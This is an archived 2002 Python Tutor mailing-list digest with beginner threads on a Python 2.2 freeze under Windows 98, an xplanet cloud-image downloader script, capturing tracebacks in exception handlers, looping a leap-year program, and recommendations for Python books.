------=_NextPart_000_0038_01C1B97A.7660F960-- From urnerk@qwest.net Wed Feb 20 02:03:16 2002 From: urnerk@qwest.net (Kirby Urner) Date: Tue, 19 Feb 2002 18:03:16 -0800 Subject: [Tutor] python 2.2 In-Reply-To: Message-ID: <4.2.0.58.20020219180122.01ac3bd0@pop3.norton.antivirus> At 07:20 PM 2/19/2002 -0600, Cameron Stoner wrote: >Hi to all, > >Little bit of a problem. >I have Python 2.2 and when I'm programming Python 2.2 freezes up my >computer and it stops responding. I also have Windows 98 2nd endition as >the OS. I know that it is Python because it only happens when I'm using >Python. I also have the Vpython addition. I also don't think that >Vpython is the problem. I am thinking that I should go back to 2.0 or >maybe 1.5, but I don't want to because Vpython doesn't work with 1.5 I >think. Would someone offer some kind of suggestion about this problem? > >Any help, >Cameron Stoner Do you have any kind of anti-virus software running, and, if so, does disabling it help? There were some Python vs. Norton AntiVirus issues awhile back, though these seem to have cleared up on my end. Have you tried reinstalling 2.2 from the native installer? When you say it freezes up, when does this happen? Upon booting Python? After an hour of using? Might helps to provide more details. In principle, nothing about the Win98 + 2.2 combo should prevent smooth co-functioning. Kirby From dsh8290@rit.edu Wed Feb 20 02:14:51 2002 From: dsh8290@rit.edu (dman) Date: Tue, 19 Feb 2002 21:14:51 -0500 Subject: [Tutor] python 2.2 In-Reply-To: References: Message-ID: <20020220021451.GB927@dman.ddts.net> On Tue, Feb 19, 2002 at 07:20:16PM -0600, Cameron Stoner wrote: | Hi to all, | | Little bit of a problem. | I have Python 2.2 and when I'm programming Python 2.2 freezes up my | computer and it stops responding. I also have Windows 98 2nd | endition as the OS. Here's part of the problem (win* isn't stable in the first place, I've even crashed 2k many times) | I know that it is Python because it only | happens when I'm using Python. I also have the Vpython addition. I | also don't think that Vpython is the problem. This is the other part of the problem. Vpython uses quite a few CPU cycles to keep track of everything you're doing to it and to draw correctly. I have Debian GNU/Linux (kernel 2.4.17) with python 2.2 and 2.1 with vpython for both of them. It works fine, but uses a significant portion of my CPU (Duron 750). I'm also using the VESA framebuffer as the video driver, and it is not high-performance. | I am thinking that I should go back to 2.0 or maybe 1.5, but I don't | want to because Vpython doesn't work with 1.5 I think. Would | someone offer some kind of suggestion about this problem? Seeing how you're working with windows, a reinstall may do the trick for you. Too bad '98 doesn't have any meter so you can see how hard your CPU is cranking. -D -- Micros~1 : For when quality, reliability and security just aren't that important! From tim.one@comcast.net Wed Feb 20 04:03:40 2002 From: tim.one@comcast.net (Tim Peters) Date: Tue, 19 Feb 2002 23:03:40 -0500 Subject: [Tutor] python 2.2 In-Reply-To: <20020220021451.GB927@dman.ddts.net> Message-ID: [dman] > ... > Seeing how you're working with windows, a reinstall may do the trick > for you. Too bad '98 doesn't have any meter so you can see how hard > your CPU is cranking. Start -> Programs -> Accessories -> System Tools -> System Monitor. You can also download a "wintop" program, which is better for this kind of thing since it shows CPU usage per process (kinda like the Unix "top"). This is part of Microsoft's Win95 "Kernel Toys" set, but works fine on Win98 too. From paulsid@shaw.ca Wed Feb 20 05:01:30 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Tue, 19 Feb 2002 22:01:30 -0700 Subject: [Tutor] python 2.2 References: Message-ID: <3C732DAA.E9D798BB@shaw.ca> Tim Peters wrote: > > Seeing how you're working with windows, a reinstall may do the trick > > for you. Too bad '98 doesn't have any meter so you can see how hard > > your CPU is cranking. > > Start -> Programs -> Accessories -> System Tools -> System Monitor. I'm pretty sure none of 95/98/ME install this by default, unfortunately. That may be why some people can't find it. To install it manually, go to the Control Panel, then Add/Remove Programs, pick the Windows Setup tab, then open the Details for the System Tools section and check System Monitor (and anything else that sounds useful). -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From wilson@isis.visi.com Wed Feb 20 05:02:21 2002 From: wilson@isis.visi.com (Tim Wilson) Date: Tue, 19 Feb 2002 23:02:21 -0600 (CST) Subject: [Tutor] Handy little xplanet script Message-ID: Hey everyone, I thought I'd share a little script I wrote. Other than the time it took poking around in the time module's documentation, it didn't take long at all and demonstrates a very practical and cool little use of Python. I've been playing with xplanet lately, a very cool app that take an image of the Earth and displays it as the background of your window manager. It looks like there's a version that works with Windows, but I haven't tried it. I run Linux on my workstation. Anyway, more info and some really cool looking screenshots of xplanet in action can be found at http://xplanet.sourceforge.net/ The author of xplanet produces a jpeg image every three hours taken from satellite maps that show the actual cloud cover over the globe. Very cool! I wanted to have my computer check periodically to make sure I had the latest cloud image (I use cron to check every half hour) and if not to download it so xplanet would use it the next time it refreshed (every 10 minutes on my machine). Sorry about the lengthy intro. :-) Here's the script: --snip-- #!/usr/bin/env python import urllib2, time, os def retrieve(file, url): try: image = urllib2.urlopen(url).read() f = open(file, 'w') f.write(image) f.close() except HTTPError: # HTTP 404 error pass # Give up and try again later CLOUD_FILE = '/home/wilson/tmp/clouds_2000.jpg' # Check the Last-Modified header and turn it into # a time tuple (in GMT). url = 'http://xplanet.sourceforge.net/clouds_2000.jpg' headers = urllib2.urlopen(url).info() # Returns dictionary-like object lastModified = headers['Last-Modified'] lm = time.strptime(lastModified, '%a, %d %b %Y %H:%M:%S GMT') # Find out when the local clouds file was last modified and see # which version is most recent. try: stats = os.stat(CLOUD_FILE) st_ctime = stats[9] creationDate = time.gmtime(st_ctime) if lm > creationDate: retrieve(CLOUD_FILE, url) except OSError: # File doesn't exist retrieve(CLOUD_FILE, url) --snip-- Have fun. -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.org | http://www.zope.com W. St. Paul, MN | | http://slashdot.org wilson@visi.com | | http://linux.com From idiot1@netzero.net Wed Feb 20 06:27:41 2002 From: idiot1@netzero.net (kirk Bailey) Date: Wed, 20 Feb 2002 01:27:41 -0500 Subject: [Tutor] training wheels Message-ID: <3C7341DD.E3C2A43B@netzero.net> I am modifying TLpost.py to include a fairly intelligent set of defaults so the novice who just manages to get it working with no support files will be presented with minimally working and feature rich discussion lists. These cna be over-ridden with files for each function. PREFACE- no default. ONLY presernt if a file is defined for a list. Per list Footer default: """ ------------------------------------------------------------- This is the testlist3 list. Click [REPLY] to send to poster, [REPLYALL] to send to list. """ Note the name of the list is inserted in it automatically. Per list random: no default. Must be defined in file or is omitted., global default: """ You can manage your memberships at http://www.tinylist.org/cgi-bin/TLwebmgr.py """ global random: no defgault, must be defined in a file or will be omitted. A default may be blocked by adding the related file WITH NOTHING IN IT. So if you wanted NO footer, you would create a footer with "" as the contents- that is, nothing at all, pr at most a CRLF. TinyList now comes with training wheels. -- end Respectfully, Kirk D Bailey +---------------------"Thou Art Free." -Eris----------------------+ | http://www.howlermonkey.net mailto:highprimate@howlermonkey.net | | http://www.tinylist.org +--------+ mailto:grumpy@tinylist.org | +------------------Thinking| NORMAL |Thinking---------------------+ +--------+ NOTE: By sending SPAM to this address you agree to pay me a service fee of $100 for the service of receiving, storing, examining, and deleting your piece of SPAM. I am a postmaster, and take a dim view of such. ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From jonikas@ldr.lt Wed Feb 20 09:10:02 2002 From: jonikas@ldr.lt (Jonikas Valdemaras) Date: Wed, 20 Feb 2002 11:10:02 +0200 Subject: [Tutor] Teach Yourself Python in 24 Hours book Message-ID: <012e01c1b9ee$61e66a50$12f6c50a@LDR.local> Hi all, Could you please sketch your impressions regarding Ivan Van Laningham's book "Teach Yourself Python in 24 Hours". Is it worth to use this book as first Python book (I have no programming experience)? Thanks, Valdas From wheelege@hotmail.com Wed Feb 20 10:25:59 2002 From: wheelege@hotmail.com (Glen Wheeler) Date: Wed, 20 Feb 2002 21:25:59 +1100 Subject: [Tutor] Exceptions and wotnot Message-ID: Hey guys, My current project is a matrix study tool for uni students - with a GUI wrapper written in tkinter. When there is an error, I use code like this :- (copy and pasted from a class method in the wrapper) rinput = self.inputbox.get("@0,0", END) try: self.matrix = gmatrix.Matrix(rinput) except Exception: popupmsg('Error creating Matrix. Check your formatting and try again.\n Traceback provided below for debugging, ask me (Glen) if you think this error to be in error') The problem here is that the message lies - there isn't a traceback. What I'd like, and have been searching for a way to do, is this : #snippo except Exception: popupmsg('Error creating Matrix. Check your formatting and try again.\n Traceback provided below for debugging, ask me (Glen) if you think this error to be in error'+str(Exception)) Or something like it. What I want is the traceback message python usually produces - but I can't seem to find it anywhere. I did think of going... except ValueError: popupmsg(customizedvalueerrormsg) excpet IndexError: popupmsg(customizedindexerrormsg) But it's not really what I want. Surely there must be some way of getting the traceback, out of the except Excpeption: construct. I dir()ed the exception using a bit of toy code but revealed no hints... Anywho I don't want to resort to Black Magic if possible, and am hoping that my inexperience with exceptions is the only problem here. Can anybody help me out? Thanks guys, Glen From toodles@yifan.net Wed Feb 20 12:46:00 2002 From: toodles@yifan.net (Andy W) Date: Wed, 20 Feb 2002 20:46:00 +0800 Subject: [Tutor] Exceptions and wotnot References: Message-ID: <000501c1ba0c$8e3c3990$3100a8c0@sun> > But it's not really what I want. Surely there must be some way of getting > the traceback, out of the except Excpeption: construct. I dir()ed the The "sys" module has a reference to the last traceback, strangely enough called "last_traceback" ;) You might also want to look at the "traceback" module, as it does some work for you. Example: >>> this_is_just_to_create_an_error Traceback (most recent call last): File "", line 1, in ? this_is_just_to_create_an_error NameError: name 'this_is_just_to_create_an_error' is not defined >>> import sys,traceback >>> tb=sys.last_traceback >>> tb_info=traceback.format_tb(tb) >>> print tb_info [' File "C:\\PYTHON22\\Tools\\idle\\PyShell.py", line 274, in runcode\n exec code in self.locals\n', ' File "", line 1, in ?\n this_is_just_to_create_an_error\n'] >>> print ''.join(tb_info) File "C:\PYTHON22\Tools\idle\PyShell.py", line 274, in runcode exec code in self.locals File "", line 1, in ? this_is_just_to_create_an_error >>> HTH, Andy > Thanks guys, > Glen > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From arcege@speakeasy.net Wed Feb 20 13:29:08 2002 From: arcege@speakeasy.net (Michael P. Reilly) Date: Wed, 20 Feb 2002 08:29:08 -0500 Subject: [Tutor] Exceptions and wotnot In-Reply-To: <000501c1ba0c$8e3c3990$3100a8c0@sun>; from toodles@yifan.net on Wed, Feb 20, 2002 at 08:46:00PM +0800 References: <000501c1ba0c$8e3c3990$3100a8c0@sun> Message-ID: <20020220082908.B894@speakeasy.net> On Wed, Feb 20, 2002 at 08:46:00PM +0800, Andy W wrote: > > But it's not really what I want. Surely there must be some way of > getting > > the traceback, out of the except Excpeption: construct. I dir()ed the > > The "sys" module has a reference to the last traceback, strangely enough > called "last_traceback" ;) > You might also want to look at the "traceback" module, as it does some work > for you. Actually, last_traceback is the previous traceback, not the current one. If you put your call in a try-expect: statement, then it would be in exc_traceback. Because of a "feature" of the interactive interpreter, the exc_* values get put into last_* at the end of the executed statement. Some things to know: 1. Import traceback before you need it (before the exception occurs). 2. If you are using threads, use sys.exc_info(). There are thread specific exceptions and sys.exc_info will get those for you. The sys.exc_* values will be of either the main thread or last exception (I can't remember which, and the behavior is undefined anyway). (You probably don't want to have a thread display a popup to a Tkinter window, but there are ways to do that too.) 3. There are a lot of functions in the traceback module, pick the right one. ### import string, sys, traceback ... def main(): try: ... exception: # display the usual Python exception output, but to a window exc, val, tb = sys.exc_info() formatted_lines = traceback.format_exception(exc, val, tb) exc_output = string.join(formatted_lines) popup(exc_output) ### Using the last_traceback value would get you the wrong info. -Arcege From mdearman@inficad.com Wed Feb 20 13:55:48 2002 From: mdearman@inficad.com (Michael Dearman) Date: Wed, 20 Feb 2002 06:55:48 -0700 Subject: [Tutor] Teach Yourself Python in 24 Hours book References: <012e01c1b9ee$61e66a50$12f6c50a@LDR.local> Message-ID: <3C73AAE4.837FD52B@inficad.com> Jonikas Valdemaras wrote: > > Hi all, > > Could you please sketch your impressions regarding > Ivan Van Laningham's book "Teach Yourself Python > in 24 Hours". > Is it worth to use this book as first Python book > (I have no programming experience)? > > Thanks, > Valdas Hi, I know not Laningham's book. But here's a good set of Python book reviews. I see that Laningham's book is on the todo list. MD http://www-106.ibm.com/developerworks/linux/library/l-cp12.html http://www-106.ibm.com/developerworks/linux/library/l-pbook2.html From wheelege@hotmail.com Wed Feb 20 13:43:16 2002 From: wheelege@hotmail.com (Glen Wheeler) Date: Thu, 21 Feb 2002 00:43:16 +1100 Subject: [Tutor] Exceptions and wotnot References: <000501c1ba0c$8e3c3990$3100a8c0@sun> Message-ID: Thanks alot Andy W! I can't believe it was RTFM, after all that. I hope that importing sys doesn't add too much to the standalone version of the program - it's 5MB already! (2MB zipped) Thanks again, Glen > > The "sys" module has a reference to the last traceback, strangely enough > called "last_traceback" ;) > You might also want to look at the "traceback" module, as it does some work > for you. > > Example: > > >>> this_is_just_to_create_an_error > Traceback (most recent call last): > File "", line 1, in ? > this_is_just_to_create_an_error > NameError: name 'this_is_just_to_create_an_error' is not defined > >>> import sys,traceback > >>> tb=sys.last_traceback > >>> tb_info=traceback.format_tb(tb) > >>> print tb_info > [' File "C:\\PYTHON22\\Tools\\idle\\PyShell.py", line 274, in runcode\n > exec code in self.locals\n', ' File "", line 1, in ?\n > this_is_just_to_create_an_error\n'] > >>> print ''.join(tb_info) > File "C:\PYTHON22\Tools\idle\PyShell.py", line 274, in runcode > exec code in self.locals > File "", line 1, in ? > this_is_just_to_create_an_error > > >>> > > HTH, > Andy > From wheelege@hotmail.com Wed Feb 20 13:56:58 2002 From: wheelege@hotmail.com (Glen Wheeler) Date: Thu, 21 Feb 2002 00:56:58 +1100 Subject: [Tutor] Exceptions and wotnot References: <000501c1ba0c$8e3c3990$3100a8c0@sun> <20020220082908.B894@speakeasy.net> Message-ID: From: "Michael P. Reilly" > On Wed, Feb 20, 2002 at 08:46:00PM +0800, Andy W wrote: > > > > The "sys" module has a reference to the last traceback, strangely enough > > called "last_traceback" ;) > > You might also want to look at the "traceback" module, as it does some work > > for you. > > Actually, last_traceback is the previous traceback, not the current one. > If you put your call in a try-expect: statement, then it would be in > exc_traceback. Because of a "feature" of the interactive interpreter, > the exc_* values get put into last_* at the end of the executed statement. > Ah, the good old feature. Thanks alot for pointing this out! It will surely save alot of trouble :). > Some things to know: > > 1. Import traceback before you need it (before the exception occurs). > I didn't even know the module existed. For shame! That's why I looked in the tutorial instead of lib, but in there I did see something about sys - just didn't click to go follow it up. > 2. If you are using threads, use sys.exc_info(). There are thread > specific exceptions and sys.exc_info will get those for you. The > sys.exc_* values will be of either the main thread or last exception > (I can't remember which, and the behavior is undefined anyway). > Indeed. My program does use some threaded operations, but threaded GUI operations are the causes of crashes - I learnt my lesson last time. A game, constructed entirely of tkinter/python code (pygame not given to me as an option) which crashed all the time. Eventually, after my questions here, the gracious Tim Peters came to my rescue...if you could call it that. Basically I needed to rewrite a bunch of my code so that all GUI operations were handled in the main thread, and only calculations went on in the auxilary thread. I was lazy not to do it that way regardless, but...lesson learned. > (You probably don't want to have a thread display a popup to a > Tkinter window, but there are ways to do that too.) > Yup. Dunno about popping up a window in a thread, but any intensive GUI interaction between threads seems to cause any system to crash. > 3. There are a lot of functions in the traceback module, pick the right > one. > > ### > import string, sys, traceback > ... > def main(): > try: > ... > exception: > # display the usual Python exception output, but to a window > exc, val, tb = sys.exc_info() > formatted_lines = traceback.format_exception(exc, val, tb) > exc_output = string.join(formatted_lines) > popup(exc_output) > ### > > Using the last_traceback value would get you the wrong info. > Thanks again. I don't mean any harm to Andy W - he still 'showed me the way' so to speak. I am grateful to you both :) Glen From toodles@yifan.net Wed Feb 20 14:05:49 2002 From: toodles@yifan.net (Andy W) Date: Wed, 20 Feb 2002 22:05:49 +0800 Subject: [Tutor] Exceptions and wotnot References: <000501c1ba0c$8e3c3990$3100a8c0@sun> Message-ID: <001301c1ba17$b455f1b0$3100a8c0@sun> > Thanks alot Andy W! I can't believe it was RTFM, after all that. I hope > that importing sys doesn't add too much to the standalone version of the > program - it's 5MB already! (2MB zipped) > > Thanks again, > Glen No worries. I never say RTFM ;) Sorry if I misled you by using last_traceback rather than exc_traceback (see Arcege's email). Thanks for correcting me Arcege, I wasn't paying enough attention to what I was doing, and wasn't using the try-except as was used in the original. Andy > > > > > > The "sys" module has a reference to the last traceback, strangely enough > > called "last_traceback" ;) > > You might also want to look at the "traceback" module, as it does some > work > > for you. > > > > Example: > > > > >>> this_is_just_to_create_an_error > > Traceback (most recent call last): > > File "", line 1, in ? > > this_is_just_to_create_an_error > > NameError: name 'this_is_just_to_create_an_error' is not defined > > >>> import sys,traceback > > >>> tb=sys.last_traceback > > >>> tb_info=traceback.format_tb(tb) > > >>> print tb_info > > [' File "C:\\PYTHON22\\Tools\\idle\\PyShell.py", line 274, in runcode\n > > exec code in self.locals\n', ' File "", line 1, in ?\n > > this_is_just_to_create_an_error\n'] > > >>> print ''.join(tb_info) > > File "C:\PYTHON22\Tools\idle\PyShell.py", line 274, in runcode > > exec code in self.locals > > File "", line 1, in ? > > this_is_just_to_create_an_error > > > > >>> > > > > HTH, > > Andy > > > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From mdearman@inficad.com Wed Feb 20 14:25:24 2002 From: mdearman@inficad.com (Michael Dearman) Date: Wed, 20 Feb 2002 07:25:24 -0700 Subject: [Tutor] Resources: The IBM site Message-ID: <3C73B1D4.ADA64830@inficad.com> Just thought I'd give this site a plug. As a newbie in Python I've found it a great resource, but haven't seen many links to it. http://www-106.ibm.com/developerworks/linux/library/l-cp12.html To get to the Python stuff just do a site search on 'Python' (duh) and something like 120 articles/papers come up. MD From garber@centralcatholic.org Wed Feb 20 14:25:10 2002 From: garber@centralcatholic.org (Robert Garber) Date: Wed, 20 Feb 2002 09:25:10 -0500 Subject: [Tutor] NEWBIE- how to make a program continue Message-ID: <200202200925.AA711721422@centralcatholic.org> I am very NEW to programing. Here is my question. I have written a small program( with the help of teaching python in 24 hours) I added the year = input line it works well except i want it to countue doing what it does utill i tell it to stop. How do I do this? below is the script i am using def julian_leap (y) : if (y%4) == 0: return 1 return 0 year = input ( " Type in a year:" ) if julian_leap (year): print year, "is leap" else: print year, "is not a leap year" Tahnks for ant help offered, Robert From alan.gauld@bt.com Wed Feb 20 14:31:24 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Wed, 20 Feb 2002 14:31:24 -0000 Subject: [Tutor] python 2.2 Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3A7@mbtlipnt02.btlabs.bt.co.uk> > for you. Too bad '98 doesn't have any meter so you can see how hard > your CPU is cranking. Actually it does! Since win95 thers been a little applet, not installed by default, called system monitor or somesuch. Its like a cut down version of the NT perf monitor. You can select CPU, Memory, Swap etc and it'll draw pretty coloured graphs for you.... Usually found under accessories|System tools. Also, In the powertoys free download you can also get wintop which is just the unix top program running in a window. Alan g From sheila@thinkspot.net Wed Feb 20 14:37:00 2002 From: sheila@thinkspot.net (Sheila King) Date: Wed, 20 Feb 2002 06:37:00 -0800 Subject: [Tutor] NEWBIE- how to make a program continue In-Reply-To: <200202200925.AA711721422@centralcatholic.org> References: <200202200925.AA711721422@centralcatholic.org> Message-ID: <9239510845@kserver.org> On Wed, 20 Feb 2002 09:25:10 -0500, "Robert Garber" wrote about [Tutor] NEWBIE- how to make a program continue: > I am very NEW to programing. Here is my question. I have written > a small program( with the help of teaching python in 24 hours) I > added the year = input line it works well except i want it to countue > doing what it does utill i tell it to stop. How do I do this? > You want a loop. Try something like this: def julian_leap (y) : if (y%4) == 0: return 1 return 0 while 1: year = input ( " Type in a year:" ) if julian_leap (year): print year, "is leap" else: print year, "is not a leap year" again = raw_input( "Do another ? (y/n) ") if again == 'n': break -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From alan.gauld@bt.com Wed Feb 20 14:40:08 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Wed, 20 Feb 2002 14:40:08 -0000 Subject: [Tutor] Teach Yourself Python in 24 Hours book Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3A8@mbtlipnt02.btlabs.bt.co.uk> > Could you please sketch your impressions regarding > Ivan Van Laningham's book "Teach Yourself Python > in 24 Hours". It is aimed at first time programmers but is specific to Python (altho he does show some comparative C/Pascal listings early on) It does a good job of the basic syntax and types, a slightly less gooid job in the (much harder to explain) OO features and a basic run thru of the widgets in Tkinter for GUI work. I thought the latter section could have used less on the widgets and more on structuring a GUI itself. The main downside is the dreadful habit of using screnshots of DOS windows and IDLE and reproducing them at a size which makes them hard to read! (I think Ivan put bigger versions on the books web site.) Also it does hark on a bit about Mayan calendars which might not grab your interest the way it obviously does Ivan's! > Is it worth to use this book as first Python book > (I have no programming experience)? Yes, or you could look at mine which covers slightly different ground and is less python specific in some ways. But I'll leave comparison to other more neutral observers :-) Alan g. Author of the 'Learning to Program' web site http://www.freenetpages.co.uk/hp/alan.gauld From toodles@yifan.net Wed Feb 20 15:30:10 2002 From: toodles@yifan.net (Andy W) Date: Wed, 20 Feb 2002 23:30:10 +0800 Subject: [Tutor] NEWBIE- how to make a program continue References: <200202200925.AA711721422@centralcatholic.org> Message-ID: <002701c1ba23$7cf77b60$3100a8c0@sun> > I am very NEW to programing. Here is my question. I have written a small program( with the help of teaching python in 24 hours) I added the year = input line it works well except i want it to countue doing what it does utill i tell it to stop. How do I do this? > > below is the script i am using > > def julian_leap (y) : > if (y%4) == 0: > return 1 > return 0 > year = input ( " Type in a year:" ) > if julian_leap (year): > print year, "is leap" > else: > print year, "is not a leap year" > > > Tahnks for ant help offered, > Robert Hi Robert, Seeing as you're new, I'll try to be a little more clear and thorough than I usually am. No promises though! To repeat the instructions, you require a loop statement. Using a "while" statement would be most appropriate I think. The basics go as follows: while : statement 1 ... statement n as long as the evaluates to true, the loop will continue. Each time it will go through to the end, unless told otherwise. To "tell it otherwise", and make it exit the loop at a certain time, we use the "break" statement. So while 1: break will exit the loop straight away. To return to the top of the loop, we can use another statement called "continue". while 1: continue break That one will continue forever. Don't try it out, because it'll make your interpreter hang ;) So there's a few ways we can approach your problem. I'll just look at the part that needs to be in the loop. BTW, this isn't tested. I've made one error already tonight, I hope I don't get myself crucified. The two most obvious options to me are 1) Use an "always true" loop (ie. while 1:) , and use "break" to get out of it. 2) Use a variable as the test clause, and set it to exit the loop. 1st way: while 1: year = input ( " Type in a year:" ) if julian_leap (year): print year, "is leap" else: print year, "is not a leap year" keep_going=raw_input("Do you want to keep going, yes or no?") if keep_going=="no": break 2nd way: done=0 while not done: year = input ( " Type in a year:" ) if julian_leap (year): print year, "is leap" else: print year, "is not a leap year" keep_going=raw_input("Do you want to keep going, yes or no?") if keep_going=="no": done=1 HTH Andy > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From shalehperry@attbi.com Wed Feb 20 16:01:31 2002 From: shalehperry@attbi.com (Sean 'Shaleh' Perry) Date: Wed, 20 Feb 2002 08:01:31 -0800 (PST) Subject: [Tutor] Teach Yourself Python in 24 Hours book In-Reply-To: <012e01c1b9ee$61e66a50$12f6c50a@LDR.local> Message-ID: On 20-Feb-2002 Jonikas Valdemaras wrote: > Hi all, > > Could you please sketch your impressions regarding > Ivan Van Laningham's book "Teach Yourself Python > in 24 Hours". > Is it worth to use this book as first Python book > (I have no programming experience)? > My problem with this series of books is similar to my problem with "dummies" books. They are pretty good at getting you through the first 2 weeks / month. Then you can just give them to a friend and buy a new book. They make very poor reference manuals usually and often ignore any of the complex matters. From urnerk@qwest.net Wed Feb 20 16:30:01 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 20 Feb 2002 08:30:01 -0800 Subject: [Tutor] NEWBIE- how to make a program continue In-Reply-To: <9239510845@kserver.org> References: <200202200925.AA711721422@centralcatholic.org> <200202200925.AA711721422@centralcatholic.org> Message-ID: <4.2.0.58.20020220082413.00ca8600@pop3.norton.antivirus> You want a loop. Try something like this: def julian_leap (y) : if (y%4) == 0: return 1 return 0 Except in reality, leap year is not quite so simple as "every fourth year". Something like: def julian_leap (y) : rtnval = 0 if (y%100)==0: if (y%400)==0: rtnval = 1 elif (y%4) == 0: rtnval = 1 return rtnval 1900 was not a leap year. Kirby From hellenicdolphin@hotmail.com Wed Feb 20 16:49:12 2002 From: hellenicdolphin@hotmail.com (Hellenic Dolphin) Date: Wed, 20 Feb 2002 18:49:12 +0200 Subject: [Tutor] Newbie! Message-ID: Hi everybody! I'm a newbie in programming languages and I was instructed to begin with Python! Could you please tell me the correct steps, should I make, in order to really learn the language and be possible to write serious programes? Which books would you suggest to buy for this? (and of course which other internet tutorials!). At this momment I've begun with livewires' internet tutorial which I find it quite helpful and easy, but soon enough I'll be needing more sources. At last please advise if this language is the right one, in order to create a "back-office" application for a company (accounts, statements, clientele, etc.). Thanks in advance for your kind help. With my friendliest regards, Thanos _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp. From alan.gauld@bt.com Wed Feb 20 17:40:19 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Wed, 20 Feb 2002 17:40:19 -0000 Subject: [Tutor] NEWBIE- how to make a program continue Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3AF@mbtlipnt02.btlabs.bt.co.uk> > written a small program( with the help of teaching python in > 24 hours) Amazing how it works, this book hasn't been mentioned for weeks and now we get two in one day... > i want it to countue doing what it does utill i tell it to > stop. How do I do this? continue until => a while loop. ( It actually implies a repeat/until loop but Python hasn't got one of those!) > year = input ( " Type in a year(0 to stop):" ) while year: > if julian_leap (year): > print year, "is leap" > else: > print year, "is not a leap year" year = input ( " Type in a year(0 to stop):" ) Thats it - 2 new lines and one minor modification. Using zero to stop is fine coz 0 is never a valid year... Alan g From alan.gauld@bt.com Wed Feb 20 17:44:41 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Wed, 20 Feb 2002 17:44:41 -0000 Subject: [Tutor] NEWBIE- how to make a program continue Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3B0@mbtlipnt02.btlabs.bt.co.uk> > def julian_leap (y) : > > Except in reality, leap year is not quite so simple > as "every fourth year". > > Something like: > > def julian_leap (y) : > rtnval = 0 > if (y%100)==0: > if (y%400)==0: > rtnval = 1 > elif (y%4) == 0: > rtnval = 1 > return rtnval But isn't this only true of the Gregorian calender? So Julian leap years are as per the original and Gregorian leaps as per your function - or is it the other way around? Alan g. From alan.gauld@bt.com Wed Feb 20 17:52:18 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Wed, 20 Feb 2002 17:52:18 -0000 Subject: [Tutor] Newbie! Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3B1@mbtlipnt02.btlabs.bt.co.uk> > Hi everybody! Hi Thanos, > I'm a newbie in programming languages and I was instructed to > begin with Python! Good idea. > Could you please tell me the correct steps, should I make, > in order to really learn the language Start with one of the tutors on the Python newbies page (I'm biased so would suggest my own :-) Then go through the full official Python tutor, trying the examples as you go. Working full time on it, I'd say that should take about 2 weeks. Along the way stop off and play with the ideas - modify the sample programs to see if they do what you expect. If you don't understand post specific questions here - ideally giving short code samples and any error printouts you get. > Which books would you suggest to buy for this? Once you cover the web tutors you can buy some reference material. My only "must have" is Dave Beasley's "Python Essential Reference". There is a list of books on the Python web site with some reviews etc. Or visit Amazon and search for Python and read the reviews there. > At this momment I've begun with livewires' internet tutorial > which I find it quite helpful and easy, but soon enough > I'll be needing more sources. http://www.python.org is your friend. > At last please advise if this language is the right one, in > order to create a "back-office" application for a company > (accounts, statements, clientele, etc.). You could do that but in most cases you will be cheaper(when you take account of your time!) to just buy an off the shelf package. They may seeem expensive but to develop thoise things is likely to take several months of your time! Python would then be good to fill any gaps, where the bought in package doesn't do exactly what you need. We await your questions with interest.... Alan g. Author of the 'Learning to Program' web site http://www.freenetpages.co.uk/hp/alan.gauld From urnerk@qwest.net Wed Feb 20 18:06:05 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 20 Feb 2002 10:06:05 -0800 Subject: [Tutor] NEWBIE- how to make a program continue In-Reply-To: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3B0@mbtlipnt02.btlabs .bt.co.uk> Message-ID: <4.2.0.58.20020220095912.00ce5360@pop3.norton.antivirus> > >But isn't this only true of the Gregorian calender? >So Julian leap years are as per the original and >Gregorian leaps as per your function - or is it >the other way around? > >Alan g. Ah so. I was just thinking of "whatever calendar we're actually using". You're right though, it's the Gregorian that has this new wrinkle (since around 1582) of messing with the "once every four" rule. So I should have changed the name of my function def. One could have both functions in the module, and a parameter (with a default) to control re which calendar you're asking. E.g.: def isLeap(yr,julian=0): if julian: return isJulianLeap(yr) else: return isGregorianLeap(yr) Include the above in a "get user input loop" if desired (or just use it as is in the shell as is -- my preference). Thanks for the edifying remarks. Kirby From cheshire_cat_sf@yahoo.com Wed Feb 20 18:16:29 2002 From: cheshire_cat_sf@yahoo.com (Britt Green) Date: Wed, 20 Feb 2002 10:16:29 -0800 (PST) Subject: [Tutor] Python Books for Newbies In-Reply-To: Message-ID: <20020220181629.16092.qmail@web14108.mail.yahoo.com> > From: "Hellenic Dolphin" > To: tutor@python.org > Date: Wed, 20 Feb 2002 18:49:12 +0200 > Subject: [Tutor] Newbie! > > Hi everybody! > > I'm a newbie in programming languages and I was instructed to begin > with > Python! Could you please tell me the correct steps, should I make, in > order > to really learn the language and be possible to write serious > programes? Hello Thanos, As someone who has struggled with various language's, I've found Python to be very easy to understand and program in. The first book I would recommend on Python would be Alan Gauld's _Learn to Program Using Python_. Its very well written, but doesn't get bogged down with a lot of little mostly inconsequential details which can be very 